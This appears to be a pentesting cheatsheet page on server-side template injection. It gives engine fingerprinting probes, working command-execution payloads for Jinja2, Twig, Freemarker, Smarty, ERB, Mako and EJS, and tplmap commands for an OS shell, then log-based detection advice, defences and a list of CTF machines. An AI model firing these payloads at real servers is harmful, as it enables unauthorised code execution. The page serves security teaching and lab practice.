Server-Side Template Injection (SSTI)
Full command arsenal in the cheatsheetMany applications generate text (HTML, messages, queries) using a template engine: a system that mixes a fixed template with variable data ({{ name }}, <%= value %>, ${...}). If user-controlled data is inserted into the template and evaluated instead of being treated as plain text, you get a Server-Side Template Injection (SSTI). And since template engines usually allow host-language expressions, an SSTI frequently escalates to code execution. The RCE payload depends on the engine, so first you identify it.
Detection and fingerprint
Inject an arithmetic expression and see if it evaluates; then refine with payloads that only work in one engine to tell which it is:
{{7*7}} -> 49 (Jinja2/Python, Twig/PHP)
${7*7} -> 49 (Freemarker/Java, some JS)
<%= 7*7 %> -> 49 (ERB/Ruby, EJS/Node)
#{7*7} -> 49 (others)
{{7*'7'}} -> 7777777 (Jinja2) vs 49 (Twig) # tells Jinja2 from TwigRCE by engine
Jinja2 (Python / Flask)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ ''.__class__.__mro__[1].__subclasses__() }} # enumerate subclasses to reach PopenTwig (PHP)
{{ ['id']|filter('system') }}
{{ ['id',1]|sort('system') }}
{{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }}Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
${ "freemarker.template.utility.Execute"?new()("id") }Smarty (PHP)
{system('id')}
{php}system('id');{/php}ERB (Ruby) / Mako (Python) / EJS (Node)
<%= system('id') %> # ERB (Ruby), also `id` with backticks
${ __import__('os').popen('id').read() } # Mako (Python)
<%= process.mainModule.require('child_process').execSync('id') %> # EJS (Node)A concrete case is CVE-2022-0944 in SQLPad (< 6.10.1): the connection-test endpoint renders connection fields as templates, and an expression injected into them runs commands on the server. The result is a shell with the process's privileges (often root in containers).
Automation
python3 tplmap.py -u 'http://<ip>/page?name=X' # detects the engine and gives a shell
python3 tplmap.py -u 'http://<ip>/page?name=X' --os-shellHow to detect it. The probing phase leaves a peculiar signature in the access log: parameters with {{7*7}}, ${7*7}, <%= 7*7 %>, #{...} and payloads with .__class__, .mro(), __globals__, process.mainModule, freemarker, which a WAF recognises as SSTI. Escalation to RCE is detected on the host just like a command injection: the application process (Node, Python, Java) spawning sh/bash/id, anomalous for a template renderer. The key is that the probe payload ({{7*7}}) almost never appears in legitimate traffic, so a single hit already warrants investigation, and a burst of payload variants against one field confirms the attack.
Defence. Do not build templates by concatenating user input; always pass data as the engine's context/variables, never as part of the template itself; use engines in sandbox mode where available; and keep dependencies updated. Related to other server-side injections such as file-upload to RCE.
Machines where it's used
- Hacker Kid 1.0.1VulnHub
- HeadlessHackTheBox
- LateHackTheBox
- RedPandaHackTheBox
- SightlessHackTheBox